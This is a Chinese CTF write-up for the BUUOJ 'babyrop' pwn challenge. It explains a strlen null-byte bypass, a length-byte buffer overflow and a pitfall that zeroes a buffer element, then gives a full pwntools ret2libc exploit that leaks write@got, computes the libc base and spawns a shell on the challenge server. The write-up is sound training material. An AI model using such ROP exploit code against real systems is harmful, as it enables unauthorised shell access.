Buuoj Pwn

babyrop WP

一道比较简单的ret2libc

考察点为strlen函数遇到\x00返回

但是有一个坑

IDA逆向拿到伪代码

main函数

 

逻辑是程序开始运行时读入一个随机数

然后传给并调用sub_804871F函数

sub_804871F函数

 

a1为main函数传入的随机数(buff)

格式化后将a1给了s

之后从终端读入数据给buf

然后将数组buf的某个元素变为0(这是一个坑)

之后获取buf的长度(strlen函数)

这里是第一个利用点:strlen函数遇到\x00则返回

然后根据strlen函数拿到的长度将buf与s比较

不同则程序退出

相同则将buf数组的第八个元素的值变为整数并返回

利用:可以将\x00作为第一个字节传入 使strlen返回长度为0 让后面的比较函数比较0个字节 即可绕过随机数

回到main函数

将返回值赋给v2

然后将v2作为参数传给sub_80487D0函数

sub_80487D0函数

可以看到

只要我们控制了a1的值

就能实现溢出

传入/xff即可

所以整体思路

读入\x00绕过随机数 同时传入\xff实现溢出 然后泄露write函数的got表地址 之后计算libc基地址

避坑:

 

 

正常情况下 我们会这样构造payload

'b\x00'+b'\xff'*7

利用红色框和黑色框中的代码

来实现绕过随机数并实现溢出

但是由于蓝色框的代码

如果我们这样传入8个字节

导致v5=8

使buf[7]=0

即buf的第八个元素被替换成了0

无法实现溢出

因此我们可以用senline()加入回车符达到v5=9或者是多传几个\xff

具体wp如下:

from pwn import *
#context.log_level = 'debug' 
#sh=process("./pwn")
sh=remote("node4.buuoj.cn",29053)
elf=ELF("./pwn")
write_got=elf.got['write']
write_plt=elf.plt['write']
main=0x8048825
#gdb.attach(sh,"b 0x08048825")
payload=b'\x00'+b'\xff'*7
sh.sendline(payload)#sendline()用来避坑 当然也可以传入更多\xff来避坑 道理一样
sh.recvuntil("Correct\n")
#32位传参
#write(1,write_got,4)
​
payload2=b'a'*0xe7+b'b'*0x4+p32(write_plt)+p32(main)+p32(1)+p32(write_got)+p32(4)
sh.sendline(payload2)
write=u32(sh.recv(4))
success(hex(write))
​
libc=ELF("./libc-2.23.so")
libc_base=write-libc.symbols["write"]
shell=libc_base+libc.symbols["system"]
binsh=libc_base+libc.search(b'/bin/sh').__next__()
sh.sendline(payload)
sh.recvuntil("Correct\n")
​
payload3=b'a'*0xe7+b'b'*0x4+p32(shell)+p32(0000)+p32(binsh)#0000是system函数的retAddress
sh.sendline(payload3)
​
sh.interactive()

拿到shell

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值